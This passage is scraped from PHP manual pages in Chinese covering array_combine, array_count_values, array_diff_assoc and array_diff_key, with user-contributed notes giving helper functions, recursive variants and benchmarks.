                $arr4[] = array_combine($arr1,$arr3);
                $i++;
            }

            return $arr4;
        }
    ?>

Input:
Array
(
    [0] => SMART Board
    [1] => Projector
    [2] => Speakers
    [3] => Splitter
)
, Array
(
    [0] => serial to smart board1
    [1] => serial to projector 1
    [2] => serial to speakers 1
    [3] => serials to splitter 1
    [4] => serials to smart board 2
    [5] => serials to projector 2
    [6] => serials to speakers 2
    [7] => serials to splitter 2
)

Array
(
    [0] => Array
        (
            [SMART Board] => serial to smart board1
            [Projector] => serial to projector 1
            [Speakers] => serial to speakers 1
            [Splitter] => serials to splitter 1
        )

    [1] => Array
        (
            [SMART Board] => serials to smart board 2
            [Projector] => serials to projector 2
            [Speakers] => serials to speakers 2
            [Splitter] => serials to splitter 2
        )

)
xavier at api-meal dot eu 23-Sep-2009 03:37
<?php
/**
 * Return alternatives defined by values of each parameters.
 *
 * Exemple :
 *
 * array_alternatives(array('foo','bar'), array('baz', 'qux'));
 * array(
 *     array('foo', 'baz'),
 *     array('bar', 'baz'),
 *     array('foo', 'qux'),
 *     array('bar', 'qux'),
 * );
 *
 * array_alternatives(array('a'), array('simple-minded'), array('solution'));
 * array(
 *     array('a', 'simple-minded', 'solution')
 * );
 *
 * array_alternatives(array('a'), array('red', 'blue'), array('car'));
 * array(
 *     array('a', 'red',  'car'),
 *     array('a', 'blue', 'car'),
 * );
 *
 * @param array $first_element
 * @param array $second_element
 * @return array
 * @author Xavier Barbosa
 */
function array_alternatives(array $first_element, array $second_element)
{
    $lists = func_get_args();
    $total_lists = func_num_args();

    for($i=0; $i<$total_lists; $i++)
    {
        $list =& $lists[$i];
        if (is_array($list) === FALSE)
            throw new Exception("Parameter $i is not an array.");
        if (count($list) === 0)
            throw new Exception("Parameter $i has no element.");
        unset($list);
    }

    // Initialize our alternatives
    $alternatives = array();
    foreach($lists[0] as &$value)
    {
        array_push($alternatives, array($value));
        unset($value);
    }
    unset($lists[0]);

    // Process alternatives
    for($i=1; $i<$total_lists; $i++)
    {
        $list =& $lists[$i];

        $new_alternatives = array();
        foreach($list as &$value)
        {
            foreach($alternatives as $_)
            {
                array_push($_, $value);
                array_push($new_alternatives, $_);
            }
        }

        // Rotate references, it's cheaper than copy array like `$alternatives = $new_alternatives;`
        $alternatives =& $new_alternatives;
        unset($new_alternatives, $list, $lists[$i]);
    }

    return $alternatives;
}
?>
quecoder at gmail 26-Aug-2008 12:00
<?php
// If they are not of same size, here is solution:

$abbreviations = array("AL", "AK", "AZ", "AR", "TX", "CA");
$states = array("Alabama", "Alaska", "Arizona", "Arkansas");
function combine_arr($a, $b)
{
    $acount = count($a);
    $bcount = count($b);
    $size = ($acount > $bcount) ? $bcount : $acount;
    $a = array_slice($a, 0, $size);
    $b = array_slice($b, 0, $size);
    return array_combine($a, $b);
}
$combined = combine_arr($abbreviations, $states);
print_r($combined);

//  Output
//  Array ( [AL] => Alabama [AK] => Alaska [AZ] => Arizona
//  [AR] => Arkansas )
?>
J.D.D. 09-Aug-2008 01:31
This may be obvious, but I don't see anything about it on the manual page, so a friendly warning...  The array you are using as keys must have all unique values.  If not, array elements get dropped.

<?php
$arr_notUnique = array('one' , 'one' , 'two');
$arr_b = array('red' , 'green' , 'blue');

$arr_combo = array_combine($arr_notUnique, $arr_b);
?>

Results:  Array ( [one] => green [two] => blue )

NOT:  Array ( [one] => red [one] => green [two] => blue )
Mike Jean 18-Mar-2008 09:59
Khaly's PHP4 code below does not work correctly in all cases. Consider when your array consists of floats:

<?php

$okay = array(0, 10, 20, 30);
$not_okay = array(0, 0.5, 1, 1.5);

$foo = array_combine($okay, $okay);
$bar = array_combine($not_okay, $not_okay);

/*

Results:

$foo = {
  [0]=> int(0)
  [10]=> int(10)
  [20]=> int(20)
  [30]=> int(30)
}

$bar = {
  [0]=> float(0.5)
  [1]=> float(1.5)
}

*/

?>

What can you do? In my case, I was just zipping up some select-box options, so I converted everything in my floats to strings.
Khaly 04-Oct-2007 02:11
This is the function for PHP4 :

<?php

function array_combine($arr1,$arr2) {
   $out = array();
   foreach($arr1 as $key1 => $value1)    {
    $out[$value1] = $arr2[$key1];
   }
   return $out
}

?>
neoyahuu at yahoo dot com 19-Mar-2007 08:36
Some tips for merging same values in an array

<?php
$array1 = array(1,2,3,4,5,6,7,8,9,10,11,12);
$array2 = array(1,2,3,13);

$merged = array_merge($array1,$array2);

// output normal array_merge
echo '<pre>After array_merge :
';
print_r($merged);
echo '</pre>';

// do double flip for merging values in an array
$merged = array_flip($merged);
$merged = array_flip($merged);

// Output after
echo '<pre>After Double Flip :
';
print_r($merged);
echo '</pre>';
?>

Output ::

After array_merge :
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
    [5] => 6
    [6] => 7
    [7] => 8
    [8] => 9
    [9] => 10
    [10] => 11
    [11] => 12
    [12] => 1
    [13] => 2
    [14] => 3
    [15] => 13
)

After Double Flip :
Array
(
    [12] => 1
    [13] => 2
    [14] => 3
    [3] => 4
    [4] => 5
    [5] => 6
    [6] => 7
    [7] => 8
    [8] => 9
    [9] => 10
    [10] => 11
    [11] => 12
    [15] => 13
)


统计数组中所有的值

  • ? array_combine
  • array_diff_assoc ?
  • PHP Manual
  • 数组 函数
  • 统计数组中所有的值

array_count_values

(PHP 4, PHP 5, PHP 7)

array_count_values — 统计数组中所有的值

说明

array_count_values ( array $array ) : array

array_count_values() 返回一个数组： 数组的键是 array 里单元的值； 数组的值是 array 单元的值出现的次数。

参数

input

统计这个数组的值

返回值

返回一个关联数组，用 array 数组中的值作为键名，该值在数组中出现的次数作为值。

错误／异常

对数组里面的每个不是 string 和 integer 类型的元素抛出一个警告错误（E_WARNING）。

范例

Example #1 array_count_values() 例子

<?php
$array = array(1, "hello", 1, "world", "hello");
print_r(array_count_values($array));
?>

以上例程会输出：

Array
(
    [1] => 2
    [hello] => 2
    [world] => 1
)

参见

  • count() - 计算数组中的单元数目，或对象中的属性个数
  • array_unique() - 移除数组中重复的值
  • array_values() - 返回数组中所有的值
  • count_chars() - 返回字符串所用字符的信息

User Contributed Notes

sergolucky96 at gmail dot com 29-Nov-2017 01:52
Simple way to find number of items with specific values in multidimensional array:

<?php

$list = [
  ['id' => 1, 'userId' => 5],
  ['id' => 2, 'userId' => 5],
  ['id' => 3, 'userId' => 6],
];
$userId = 5;

echo array_count_values(array_column($list, 'userId'))[$userId]; // outputs: 2
?>
jekkilekki at gmail dot com 16-Jan-2017 11:36
Simple example to count the values of a $key in an associative array:

/**
 * Associative Array Count Values
 *
 * Returns an array containing the number of values for a given $key in a given associative $array
 *
 * @param array $array The associative array to count values for
 * @param String $key The key to count values for
 * @return array A new array containing the counted values for the key in the original associative array
 */
function assc_array_count_values( $array, $key ) {
     foreach( $array as $row ) {
          $new_array[] = $row[$key];
     }
     return array_count_values( $new_array );
}
dhairya lakhera 17-Feb-2016 09:33
$array = array(1, true, 1, true, false,NULL);
var_dump(array_count_values($array));

//Warning: array_count_values(): Can only count STRING and INTEGER values!
jakubplus at gmail dot com 07-Apr-2014 11:36
In order to apply array_map with callback checking for localised values like city name, country name, you have to provide some sort of comparison array.

Here's an example of array_count_values for Polish city names. Just switch array_keys / array_values in order to obtain lowercase / uppercase.

$arr = array('Warsaw', 'Warsaw', 'Wroc?aw', 'Poznań', 'Kraków', 'waRsaw', 'Gdańsk', 'poznań', 'WROC?AW', 'kraków', 'GDA?SK');
$lowertoupperpolish = array(
    '?' => '?',
    '?' => '?',
    '?' => '?',
    '?' => '?',
    'ń' => '?',
    'ó' => 'ó',
    '?' => '?',
    '?' => '?',
    '?' => '?',
);
function lowers($n) {
    global $lowertoupperpolish;
    return strtolower(str_replace(array_values($lowertoupperpolish), array_keys($lowertoupperpolish), $n));
}
$result = array_count_values(array_map('lowers', $arr));

print_r($result); ...prints:

Array ( [warsaw] => 3 [wroc?aw] => 2 [poznań] => 2 [kraków] => 2 [gdańsk] => 2 )
Dominic Vonk 13-Dec-2013 04:11
The case-insensitive version:

<?php
function array_count_values_ci($array) {
    $newArray = array();
    foreach ($array as $values) {
        if (!array_key_exists(strtolower($values), $newArray)) {
            $newArray[strtolower($values)] = 0;
        }
        $newArray[strtolower($values)] += 1;
    }
    return $newArray;
}
?>
szczepan.krolgmail.c0m 17-Jan-2010 11:21
Here is a Version with one or more arrays, which have similar values in it:
Use $lower=true/false to ignore/set case Sensitiv.

<?php

$ar1[] = array("red","green","yellow","blue");
$ar1[] = array("green","yellow","brown","red","white","yellow");
$ar1[] = array("red","green","brown","blue","black","yellow");
#$ar1= array("red","green","brown","blue","black","red","green"); // Possible with one or multiple Array

$res = array_icount_values ($ar1);
print_r($res);

function array_icount_values($arr,$lower=true) {
     $arr2=array();
     if(!is_array($arr['0'])){$arr=array($arr);}
     foreach($arr as $k=> $v){
      foreach($v as $v2){
      if($lower==true) {$v2=strtolower($v2);}
      if(!isset($arr2[$v2])){
          $arr2[$v2]=1;
      }else{
           $arr2[$v2]++;
           }
    }
    }
    return $arr2;
}
/*
Will print:
Array
(
    [red] => 3
    [green] => 3
    [yellow] => 4
    [blue] => 2
    [brown] => 2
    [white] => 1
    [black] => 1
)
*/
?>
bluej100@gmail 25-Mar-2008 01:37
byron at byronrode dot co dot za, here are some benchmarks.

<?php
$haystack = Array();
for ($i = 0; $i < 1000000; $i++) {
  $haystack[] = rand(1, 2000);
}

$needle = rand(1, 2000);

echo "__array_count_values()__\n";
$start = microtime(true);
$startmem = memory_get_usage();
$counts = array_count_values($haystack);
$mem = memory_get_usage()-$startmem;
echo 'Count:'.$counts[$needle]."\n";
echo 'Time:'.(microtime(true) - $start)."\n";
echo 'Memory:'.$mem."\n\n";

echo "__array_keys()__\n";
$start = microtime(true);
$startmem = memory_get_usage();
$keys = array_keys($haystack, $needle);
$mem = memory_get_usage()-$startmem;
echo 'Count:'.count($keys)."\n";
echo 'Time:'.(microtime(true) - $start)."\n";
echo 'Memory:'.$mem."\n\n";

echo '__$needle_array[]__'."\n";
$start = microtime(true);
$startmem = memory_get_usage();
$x = count($haystack);
for($i = 0; $i < $x; $i++){
  if($haystack[$i] == $needle){
    $needle_array[] = $haystack[$i];
  }
}
$mem = memory_get_usage()-$startmem;
$number_of_instances = count($needle_array);
echo 'Count:'.$number_of_instances."\n";
echo 'Time:'.(microtime(true) - $start)."\n";
echo 'Memory:'.$mem."\n\n";

echo '__$number_of_instances++__'."\n";
$start = microtime(true);
$startmem = memory_get_usage();
$x = count($haystack);
$number_of_instances = 0;
for($i = 0; $i < $x; $i++){
  if($haystack[$i] == $needle){
    $number_of_instances++;
  }
}
$mem = memory_get_usage()-$startmem;
echo 'Count:'.$number_of_instances."\n";
echo 'Time:'.(microtime(true) - $start)."\n";
echo 'Memory:'.$mem."\n\n";
?>

[www]mytemp$ php array_count_test.php
__array_count_values()__
Count:515
Time:0.0607650279999
Memory:120328

__array_keys()__
Count:515
Time:0.0869138240814
Memory:33016

__$needle_array[]__
Count:515
Time:0.259949922562
Memory:24792

__$number_of_instances++__
Count:515
Time:0.258481025696
Memory:0

However, when you use an array of strings by calling md5(rand(1, 2000)), the performance boosts become less significant:

__array_count_values()__
Count:499
Time:0.491794109344
Memory:184328

__array_keys()__
Count:499
Time:0.36399102211
Memory:30072

__$needle_array[]__
Count:499
Time:0.568728923798
Memory:22104

__$number_of_instances++__
Count:499
Time:0.574353933334
Memory:0

Results are similar for string->string haystacks with foreach traversal.
Hayley Watson 13-Mar-2008 11:37
Yet Another case-insensitive version of array_count_values()

<?php
$ar = array('J. Karjalainen', 'J. Karjalainen', 60, '60', 'J. Karjalainen', 'j. karjalainen', 'Fastway', 'FASTWAY', 'Fastway', 'fastway', 'YUP');

$ar = array_count_values(array_map('strtolower', $ar));
?>
majerm at gmail dot com 18-Jun-2007 07:50
<?
function array_icount_values($array) {
    $ret_array = array();
    foreach($array as $value) $ret_array[strtolower($value)]++;
    return $ret_array;
}

$ar = array('J. Karjalainen', 'J. Karjalainen', 60, '60', 'J. Karjalainen', 'j. karjalainen', 'Fastway', 'FASTWAY', 'Fastway', 'fastway', 'YUP');
$ar = array_icount_values($ar);
?>

this prints:

Array
(
    [j. karjalainen] => 4
    [60] => 2
    [fastway] => 4
    [yup] => 1
)
rabies dot dostojevski at gmail dot com 21-Feb-2007 01:40
I couldn't find a function for counting the values with case-insensitive matching, so I wrote a quick and dirty solution myself:

<pre><?php
function array_icount_values($array) {
    $ret_array = array();
    foreach($array as $value) {
        foreach($ret_array as $key2 => $value2) {
            if(strtolower($key2) == strtolower($value)) {
                $ret_array[$key2]++;
                continue 2;
            }
        }
        $ret_array[$value] = 1;
    }
    return $ret_array;
}

$ar = array('J. Karjalainen', 'J. Karjalainen', 60, '60', 'J. Karjalainen', 'j. karjalainen', 'Fastway', 'FASTWAY', 'Fastway', 'fastway', 'YUP');
$ar2 = array_count_values($ar); // Normal matching
$ar = array_icount_values($ar); // Case-insensitive matching
print_r($ar2);
print_r($ar);
?></pre>

This prints:

Array
(
    [J. Karjalainen] => 3
    [60] => 2
    [j. karjalainen] => 1
    [Fastway] => 2
    [FASTWAY] => 1
    [fastway] => 1
    [YUP] => 1
)
Array
(
    [J. Karjalainen] => 4
    [60] => 2
    [Fastway] => 4
    [YUP] => 1
)

I don't know how efficient it is, but it seems to work. Needed this function in one of my scripts and thought I would share it.
coda at bobandgeorge dot com 14-Oct-2005 05:52
alwaysdrunk's comment only works if you can trust the client web browser. Using this function doesn't validate that every necessary field exists -- only that every field that was submitted has a value in it. Thus if an attacker wished to force a null value into one of the fields, he could (rather easily) construct a modified form without the field and submit THAT.

Besides, you really ought to be validating each field anyway if you're taking user input.
[Mr.A] 06-Mar-2005 02:59
I find a very simple solution to count values in multidimentional arrays (example for 2 levels) :

foreach ($array as $a) {
  foreach ($a as $b) {
    $count_values[$b]++;
  }
}
pmarcIatIgeneticsImedIharvardIedu 29-Jan-2003 05:42
array_count_values function does not work on multidimentional arrays.
If $score[][] is a bidimentional array, the command
"array_count_values ($score)" return the error message "Warning: Can only count STRING and INTEGER values!".
manuzhai (AT) php (DOT) net 16-Nov-2002 06:45
You might use serialize() to serialize your objects before analyzing their frequency. :)


带索引检查计算数组的差集

  • ? array_count_values
  • array_diff_key ?
  • PHP Manual
  • 数组 函数
  • 带索引检查计算数组的差集

array_diff_assoc

(PHP 4 >= 4.3.0, PHP 5, PHP 7)

array_diff_assoc — 带索引检查计算数组的差集

说明

array_diff_assoc ( array $array1 , array $array2 [, array $... ] ) : array

array_diff_assoc() 返回一个数组，该数组包括了所有在 array1 中但是不在任何其它参数数组中的值。注意和 array_diff() 不同的是键名也用于比较。

参数

array1

从这个数组进行比较

array2

被比较的数组

...

更多被比较的数组

返回值

Returns an array containing all the values from array1 that are not present in any of the other arrays.

范例

Example #1 array_diff_assoc() 例子

上面的例子中可以看到键值对 "a" => "green" 在两个数组中都有，因此不在本函数的输出中。与此不同，键值对 0 => "red" 出现在输出中是因为第二个参数中的 "red" 的键名是 1。

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "green", "yellow", "red");
$result = array_diff_assoc($array1, $array2);
print_r($result);
?>

以上例程会输出：

Array
(
    [b] => brown
    [c] => blue
    [0] => red
)

Example #2 array_diff_assoc() example

键值对 key => value 中的两个值仅在 (string) $elem1 === (string) $elem2 时被认为相等。也就是说使用了严格检查，字符串的表达必须相同。

<?php
$array1 = array(0, 1, 2);
$array2 = array("00", "01", "2");
$result = array_diff_assoc($array1, $array2);
print_r($result);
?>

以上例程会输出：

Array
(
    [0] => 0
    [1] => 1
    )

注释

Note: 注意本函数只检查了多维数组中的一维。当然可以用 array_diff_assoc($array1[0], $array2[0]); 检查更深的维度。

Note: 使用更多的键比较相似数组时，确保你传入参数的顺序是正确的。 新的数组应该是在列表里的第一个。

参见

  • array_diff() - 计算数组的差集
  • array_diff_uassoc() - 用用户提供的回调函数做索引检查来计算数组的差集
  • array_udiff_assoc() - 带索引检查计算数组的差集，用回调函数比较数据
  • array_udiff_uassoc() - 带索引检查计算数组的差集，用回调函数比较数据和索引
  • array_intersect() - 计算数组的交集
  • array_intersect_assoc() - 带索引检查计算数组的交集

User Contributed Notes

spark dot crz at gmail dot com 02-Apr-2018 04:56
Recursive implementation accepting multiple n-level-arrays as parameters:

<?php
function recursiveDiff() {
    $arrs = func_get_args();
    $first = array_shift($arrs);
    $diff = [];

    foreach($first as $key => $value) {
        $values = array_map(function($arr) use($key){
            if (is_array($arr) && !array_key_exists($key, $arr))
                return null;

            return $arr[$key];
        }, $arrs);

        if (in_array($value, $values))
            continue;

        if (is_array($value)) {
            array_unshift($values, $value);
            $diff[$key] = call_user_func_array(__FUNCTION__, $values);
            continue;
        }

        $diff[$key] = $first[$key];
    }

    return $diff;
}
?>

The other attempt was cleaner but didn't work for all cases.
spark dot crz at gmail dot com 02-Apr-2018 03:29
Yet another recursive implementation, without if-else hell and with multiple parameters just like the original.

<?php
function recursiveDiff() {
    $arrs = func_get_args();
    $diff = call_user_func_array('array_diff_assoc', $arrs);

    foreach($diff as $key => $value) {
        if (!is_array($value))
            continue;

        $children = array_map(function($arr) use($key){
            return $arr[$key];
        }, $arrs);

        $diff[$key] = call_user_func_array(__FUNCTION__, $children);
    }

    return $diff;
}
tero dot lahtinen at iki dot fi 10-Oct-2017 03:23
array_diff_assoc will fail, if a value is something that can not be converted to a string.
francois-php at ceonizme dot fr 28-Aug-2014 06:27
to chinello at gmail dot com
I've had to use your function but it showed that the use of isset can't differentiate the NULL values from not setted values.

Here's a version that takes care of this subtility.

<?php
function array_diff_assoc_recursive($array1, $array2)
{
    $difference = NULL;
    foreach($array1 as $key => $value)
    {
        if(is_array($value))
        {
            if(!array_key_exists($key, $array2))
            {
                $difference[$key] = $value;
            }
            elseif(!is_array($array2[$key]))
            {
                $difference[$key] = $value;
            }
            else
            {
                $new_diff = array_diff_assoc_recursive($value, $array2[$key]);
                if($new_diff != FALSE)
                {
                    $difference[$key] = $new_diff;
                }
            }
        }
        elseif(!array_key_exists($key, $array2) || $array2[$key] != $value)
        {
            $difference[$key] = $value;
        }
    }
    return !isset($difference) ? 0 : $difference;
}
?>

Hope that helps
Fran?ois
shadow_games at abv dot bg 11-Jun-2014 03:45
there is a functiont that i searched long enough now i have created it so someone else to find it if he need it ;]
<?php
    function compare_two_object_recursive($object_1, $object_2, $object_1_Identifier = false, $object_2_Identifier = false){
        $object1 = (array)$object_1;
        $object2 = (array)$object_2;
        $object3 = array();

        $o1i = $object_1_Identifier ? $object_1_Identifier : 1;
        $o2i = $object_2_Identifier ? $object_2_Identifier : 2;

        foreach($object1 as $key => $value){
            if(is_object($object1[$key])){
                $object1[$key] = (array)$object1[$key];
                $object2[$key] = (array)$object2[$key];
                $object3[$key] = (object)compare_two_object_recursive($object1[$key], $object2[$key], $o1i, $o2i);
            }elseif(is_array($object1[$key])){
                $object3[$key] = compare_two_object_recursive($object1[$key], $object2[$key], $o1i, $o2i);
            }else{
                if($object1[$key] == $object2[$key]){
                    $object3[$key]['comparison_status'] = "SAME";
                }else{
                    $object3[$key]['comparison_status'] = "NOT THE SAME";
                    $object3[$key][$o1i] = $object1[$key];
                    $object3[$key][$o2i] = $object2[$key];
                }
            }
        }
        return $object3;
    }
?>
dev5er6 at gmail dot com 13-Apr-2014 04:01
Works more like the original function:

<?php

function array_diff_assoc_recursive ( )
{
    $args = func_get_args ( );
    $diff = array ( );
    foreach ( array_shift ( $args ) as $key => $val )
    {
        for ( $i = 0, $j = 0, $tmp = array ( $val ) , $count = count ( $args ); $i < $count; $i++ )
            if ( is_array ( $val ) )
                if ( !isset ( $args[$i][$key] ) || !is_array ( $args[$i][$key] ) || empty( $args[$i][$key] ) )
                    $j++;
                else
                    $tmp[] = $args[$i][$key];
            elseif ( ! array_key_exists ( $key, $args[$i] ) || $args[$i][$key] !== $val )
                $j++;
        if ( is_array ( $val ) )
        {
            $tmp = call_user_func_array ( __FUNCTION__, $tmp );
            if ( ! empty ( $tmp ) ) $diff[$key] = $tmp;
            elseif ( $j == $count ) $diff[$key] = $val;
        }
        elseif ( $j == $count && $count ) $diff[$key] = $val;
    }

    return $diff;
}

?>
telefoontoestel at hotmail dot com 04-Feb-2014 09:11
an earlier post for recursive array_diff_assoc failed because isset returned false on an array element containing a null value. I updated the code so it compares null values too.

<?php
function array_diff_assoc_recursive($array1, $array2)
{
    foreach($array1 as $key => $value)
    {
        if(is_array($value))
        {
              if(!isset($array2[$key]))
              {
                  $difference[$key] = $value;
              }
              elseif(!is_array($array2[$key]))
              {
                  $difference[$key] = $value;
              }
              else
              {
                  $new_diff = array_diff_assoc_recursive($value, $array2[$key]);
                  if($new_diff != FALSE)
                  {
                        $difference[$key] = $new_diff;
                  }
              }
          }
          elseif(!array_key_exists($key, $array2) || $array2[$key] != $value)
          {
              $difference[$key] = $value;
          }
    }
    return !isset($difference) ? 0 : $difference;
}
?>
Michael Richey 04-May-2013 01:43
If you're looking for a true array_diff_assoc, comparing arrays to determine the difference between two, finding missing values from both, you can use this along with array_merge.

$a = array('a'=>1,'b'=>2,'c'=>3);
$b = array('a'=>1,'b'=>2,'d'=>4);
print_r(array_diff_assoc($a,$b));
// returns:
array
(
    [c] => 3
)

print_r(array_diff_assoc($b,$a));
// returns
array
(
    [d] => 4
)

print_r(array_merge(array_diff_assoc($a,$b),array_diff_assoc($b,$a)));
// returns
array
(
    [c] => 3
    [d] => 4
)
Giosh 15-Mar-2013 11:15
The array_diff_assoc_array from "chinello at gmail dot com" (and others) will not work for arrays with null values. That's because !isset is true when an array key doesn't exists or is set to null.

(sorry for the changed indent-style)
<?php
function array_diff_assoc_recursive($array1, $array2) {
    $difference=array();
    foreach($array1 as $key => $value) {
        if( is_array($value) ) {
            if( !isset($array2[$key]) || !is_array($array2[$key]) ) {
                $difference[$key] = $value;
            } else {
                $new_diff = array_diff_assoc_recursive($value, $array2[$key]);
                if( !empty($new_diff) )
                    $difference[$key] = $new_diff;
            }
        } else if( !array_key_exists($key,$array2) || $array2[$key] !== $value ) {
            $difference[$key] = $value;
        }
    }
    return $difference;
}
?>

And here an example (note index 'b' in the output):
<?php
$a1=array( 'a' => 0, 'b' => null, 'c' => array( 'd' => null ) );
$a2=array( 'a' => 0, 'b' => null );

var_dump( array_diff_assoc_recursive( $a1, $a2 ) );
var_dump( chinello_array_diff_assoc_recursive( $a1, $a2 ) );
?>
array(1) {
  ["c"]=>
  array(1) {
    ["d"]=>
    NULL
  }
}

array(2) {
  ["b"]=>
  NULL
  ["c"]=>
  array(1) {
    ["d"]=>
    NULL
  }
}
news_yodpeirs at thoftware dot de 12-Jul-2011 04:25
A quite simple (yet not very efficient) way to compare the first level of arrays which have values that are not strings:
array_map('unserialize',array_diff_assoc(array_map('serialize',$arr1),array_map('serialize',$arr2)))
Might be useful for debugging (that's what I use it for).
jrajpu10 at gmail dot com 25-Oct-2008 12:57
array_diff_assoc can also be used to find the duplicates in an array

<?php
$arr = array('1','2','3','4','3','2','5');
$uniques = array_unique($arr);
// array_diff will not work here, array_diff_assoc works as it takes the key // in account.
$dups = array_diff_assoc($arr, $uniques);

print_r($dups);
?>

Note: The index of the $dups is not in strict sequential order as expected by C programmer.
cedric at daneel dot net 21-May-2007 06:01
To diff between n-dimensional array, juste use this :

<?php
function array_diff_values($tab1, $tab2)
    {
    $result = array();
    foreach($tab1 as $values) if(! in_array($values, $tab2)) $result[] = $values;
    return $result;
    }
?>
contact at pascalopitz dot com 11-Apr-2007 04:14
The direction of the arguments does actually make a difference:

<?php
$a = array(
    'x' => 'x',
    'y' => 'y',
    'z' => 'z',
    't' => 't',
);

$b = array(
    'x' => 'x',
    'y' => 'y',
    'z' => 'z',
    't' => 't',
    'g' => 'g',
);

print_r(array_diff_assoc($a, $b));
print_r(array_diff_assoc($b, $a));
?>

echoes:

Array
(
)
Array
(
    [g] => g
)
chinello at gmail dot com 18-Mar-2007 10:33
The following will recursively do an array_diff_assoc, which will calculate differences on a multi-dimensional level.  This not display any notices if a key don't exist and if error_reporting is set to E_ALL:

<?php
function array_diff_assoc_recursive($array1, $array2)
{
    foreach($array1 as $key => $value)
    {
        if(is_array($value))
        {
              if(!isset($array2[$key]))
              {
                  $difference[$key] = $value;
              }
              elseif(!is_array($array2[$key]))
              {
                  $difference[$key] = $value;
              }
              else
              {
                  $new_diff = array_diff_assoc_recursive($value, $array2[$key]);
                  if($new_diff != FALSE)
                  {
                        $difference[$key] = $new_diff;
                  }
              }
          }
          elseif(!isset($array2[$key]) || $array2[$key] != $value)
          {
              $difference[$key] = $value;
          }
    }
    return !isset($difference) ? 0 : $difference;
}
?>

[NOTE BY danbrown AT php DOT net: This is a combination of efforts from previous notes deleted.  Contributors included (Michael Johnson), (jochem AT iamjochem DAWT com), (sc1n AT yahoo DOT com), and (anders DOT carlsson AT mds DOT mdh DOT se).]
Alexander Podgorny 30-May-2006 02:30
NOTE: the diff_array also removes all the duplicate values that match to the values in the second array:

<?php
    $array1 = array("a","b","c","a","a");
    $array2 = array("a");

    $diff = array_diff($array1,$array2);

    // yields: array("b","c") the duplicate "a" values are removed
?>
benjamin at moonfactory dot co dot jp 11-Jan-2005 09:56
Hi all,
For php versions < 4.3...

<?php
/**
 * array_diff_assoc for version < 4.3
 **/
if (!function_exists('array_diff_assoc'))
{
    function array_diff_assoc($a1, $a2)
    {
        foreach($a1 as $key => $value)
        {
            if(isset($a2[$key]))
            {
                if((string) $value !== (string) $a2[$key])
                {
                     $r[$key] = $value;
                }
            }else
            {
                $r[$key] = $value;
            }
        }
        return $r ;
    }
}

?>
carl at thep dot lu dot se 09-May-2003 02:55
To unset elements in an array if you know the keys but not the values, you can do:

<?php
$a = array("foo", "bar", "baz", "quux");
$b = array(1, 3); // Elements to get rid of

foreach($b as $e)
  unset($a[$e]);
?>

Of course this makes most sense if $b has many elements or is dynamically generated.


使用键名比较计算数组的差集

  • ? array_diff_assoc
  • array_diff_uassoc ?
  • PHP Manual
  • 数组 函数
  • 使用键名比较计算数组的差集

array_diff_key

(PHP 5 >= 5.1.0, PHP 7)

array_diff_key — 使用键名比较计算数组的差集

说明

array_diff_key ( array $array1 , array $array2 [, array $... ] ) : array

根据 array1 中的键名和 array2 进行比较，返回不同键名的项。 本函数和 array_diff() 相同只除了比较是根据键名而不是值来进行的。

参数

array1

从这个数组进行比较

array2

针对此数组进行比较

...

更多比较数组

返回值

array_diff_key() 返回一个数组，该数组包括了所有出现在 array1 中但是未出现在任何其它参数数组中的键名的值。

范例

Example #1 array_diff_key() 例

在 key => value 对中的两个键名仅在 (string) $key1 === (string) $key2 时被认为相等。换句话说，执行的是严格类型检查，因此字符串的表达必须完全一样。

<?php
$array1 = array('blue'  => 1, 'red'  => 2, 'green'  => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan'   => 8);

var_dump(array_diff_key($array1, $array2));
?>

以上例程会输出：

array(2) {
  ["red"]=>
  int(2)
  ["purple"]=>
  int(4)
}

注释

Note:

注意本函数只检查了多维数组中的一维。当然，可以用 array_diff_key($array1[0], $array2[0]); 来检查更深的维度。

参见

  • array_diff() - 计算数组的差集
  • array_udiff() - 用回调函数比较数据来计算数组的差集
  • array_diff_assoc() - 带索引检查计算数组的差集
  • array_diff_uassoc() - 用用户提供的回调函数做索引检查来计算数组的差集
  • array_udiff_assoc() - 带索引检查计算数组的差集，用回调函数比较数据
  • array_udiff_uassoc() - 带索引检查计算数组的差集，用回调函数比较数据和索引
  • array_diff_ukey() - 用回调函数对键名比较计算数组的差集
  • array_intersect() - 计算数组的交集
  • array_intersect_assoc() - 带索引检查计算数组的交集
  • array_intersect_uassoc() - 带索引检查计算数组的交集，用回调函数比较索引
  • array_intersect_key() - 使用键名比较计算数组的交集
  • array_intersect_ukey() - 用回调函数比较键名来计算数组的交集

User Contributed Notes

rhallsey at yahoo dot com 13-Sep-2014 12:45
Here's a simple function that returns true if all keys in the first array are found in the second array, and false if they aren't.

function same_keys ($a1, $a2) {
    $same = false;
    if (!array_diff_key($a1, $a2)) {
        $same = true;
        foreach ($a1 as $k => $v) {
            if (is_array($v) && !same_keys($v, $a2[$k])) {
                $same = false;
                break;
            }
        }
    }
    return $same;
}

To check if two arrays have the same structure, ignoring values, execute the function twice, the second time with the arguments reversed.
gk at anuary dot com 29-Jun-2013 03:40
Improved recursive version.

<?php
/**
 * @author Gajus Kuizinas <gk@anuary.com>
 * @version 1.0.0 (2013 03 19)
 */
function array_diff_key_recursive (array $arr1, array $arr2) {
    $diff = array_diff_key($arr1, $arr2);
    $intersect = array_intersect_key($arr1, $arr2);

    foreach ($intersect as $k => $v) {
        if (is_array($arr1[$k]) && is_array($arr2[$k])) {
            $d = array_diff_key_recursive($arr1[$k], $arr2[$k]);

            if ($d) {
                $diff[$k] = $d;
            }
        }
    }

    return $diff;
}
?>

An up to date version is maintained at https://github.com/gajus/flow/blob/master/flow.inc.php#L337.
division-par-zero at zilon dot net 03-Oct-2008 07:02
you can use this function for return the difference of two array !

<?php
function array_unique_diff_key ($array1, $array2)
{
  if (is_array($array1) && is_array($array2))
    return array_diff_key($array1, $array2) + array_diff_key($array2, $array1);
  else if (is_array($array1)) return $array1;
  else if (is_array($array2)) return $array2;
  else return array();
}
?>
Ashton 02-Apr-2008 01:33
To return the unique elements (those with a key that exists only once in either array but not in both) try:
function array_unique_diff ($array1, $array2)
{
  array_merge(array_diff_key($array1, $array2), array_diff_key($array2, $array1));
}

Example:
$array1 = array('blue'  => 1, 'red'  => 2, 'green'  => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan'   => 8);

  array_diff_key($array1, $array2)

returns

